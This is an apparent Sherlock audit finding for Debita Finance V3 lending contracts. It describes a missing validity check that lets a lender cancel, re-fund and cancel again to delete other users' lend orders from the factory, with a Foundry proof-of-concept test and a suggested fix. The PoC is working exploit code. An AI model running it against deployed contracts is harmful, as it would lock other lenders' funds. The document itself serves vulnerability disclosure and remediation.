Skip to content

Latest commit

 

History

History
263 lines (215 loc) · 8.99 KB

014.md

File metadata and controls

263 lines (215 loc) · 8.99 KB

Dry Aqua Sheep

High

User funds will be stuck in lending contract due to attacker cancelling other lending orders.

Summary

Implementation of canceling lending order did not set isLendOrderLegit to false, will cause attacker to cancel all lending orders bricking the protocol and user's funds locked in lending implementation contract.

Root Cause

There is a missing check of isLendOrderLegit in deleteOrder allowing attacker to cancel their offer first then delete other lending orders in factory. https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/376fec45be95bd4bbc929fd37b485076b03ab8b0/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207

Internal pre-conditions

No response

External pre-conditions

  1. There must be lending orders created by users.

Attack Path

  1. Users create lending orders.
  2. Attacker able to cancel order using their implementation contract.
  3. Attacker cancel their lending order.
  4. Attacker add funds using addFunds which allow them to cancel order in factory.
  5. This causes the array of other lending order to be removed.

Impact

Protocol Insolvency and user funds locked permanently.

PoC

Create file in 2024-11-debita-finance-v3/Debita-V3-Contracts/test/local/Loan/Poc.t.sol

pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";
import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";

contract PoC is Test, DynamicData {
    veNFTEqualizer public receiptContract;
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;
    DebitaV3Loan public DebitaV3LoanContract;
    ERC20Mock public AEROContract;
    ERC20Mock public USDCContract;
    DLOImplementation public LendOrder;
    DLOImplementation public SecondLendOrder;

    DBOImplementation public BorrowOrder;

    address AERO;
    address USDC;
    address borrower = address(0x02);
    address firstLender = address(this);
    address secondLender = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
    address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;

    address feeAddress = address(this);

    uint receiptID;

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), address(this), 1000e18, true);
        USDCContract = new ERC20Mock();
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        AERO = address(AEROContract);
        USDC = address(USDCContract);

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DebitaV3AggregatorContract.setValidNFTCollateral(
            address(receiptContract),
            true
        );

        deal(AERO, firstLender, 1000e18, false);
        deal(AERO, secondLender, 1000e18, false);
        deal(AERO, borrower, 1000e18, false);
        deal(USDC, borrower, 1000e18, false);

        vm.startPrank(borrower);

        IERC20(AERO).approve(address(DBOFactoryContract), 100e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        ratio[0] = 5e17;
        oraclesPrinciples[0] = address(0x0);
        acceptedPrinciples[0] = AERO;
        acceptedCollaterals[0] = USDC;
        oraclesActivated[0] = false;
        ltvs[0] = 0;

        USDCContract.approve(address(DBOFactoryContract), 11e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            864000,
            acceptedPrinciples,
            USDC,
            false,
            0,
            oraclesPrinciples,
            ratio,
            address(0x0),
            10e18
        );
        vm.stopPrank();

        AEROContract.approve(address(DLOFactoryContract), 5e18);
        ratio[0] = 65e16;

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            2000,
            8640000,
            86400,
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );

        vm.startPrank(secondLender);
        AEROContract.approve(address(DLOFactoryContract), 5e18);
        ratio[0] = 4e17;
        address SecondlendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            500,
            9640000,
            86400,
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            address(0x0),
            5e18
        );
        vm.stopPrank();
        LendOrder = DLOImplementation(lendOrderAddress);
        BorrowOrder = DBOImplementation(borrowOrderAddress);
        SecondLendOrder = DLOImplementation(SecondlendOrderAddress);
    }
    function testDeleteTwicePoC() public {
        // Basicaly can delete other contracts
        vm.startPrank(secondLender);
        // At first there are 2
        assertEq(DLOFactoryContract.activeOrdersCount(),2);
        SecondLendOrder.cancelOffer();
        // Should become 1
        assertEq(DLOFactoryContract.activeOrdersCount(),1);
        // 
        AEROContract.approve(address(SecondLendOrder), 10);

        SecondLendOrder.addFunds(10);
        SecondLendOrder.cancelOffer();

        assertEq(DLOFactoryContract.activeOrdersCount(),0);
        vm.stopPrank();

    }

}

Mitigation

    function deleteOrder(address _lendOrder) external onlyLendOrder {
+      require(isLendOrderLegit[address(lendOffer)], "Order has been cancelled");
+      isLendOrderLegit[address(lendOffer)] = false;
        uint index = LendOrderIndex[_lendOrder];
        LendOrderIndex[_lendOrder] = 0;

        // switch index of the last borrow order to the deleted borrow order
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;

        // take out last borrow order

        allActiveLendOrders[activeOrdersCount - 1] = address(0);

        activeOrdersCount--;
    }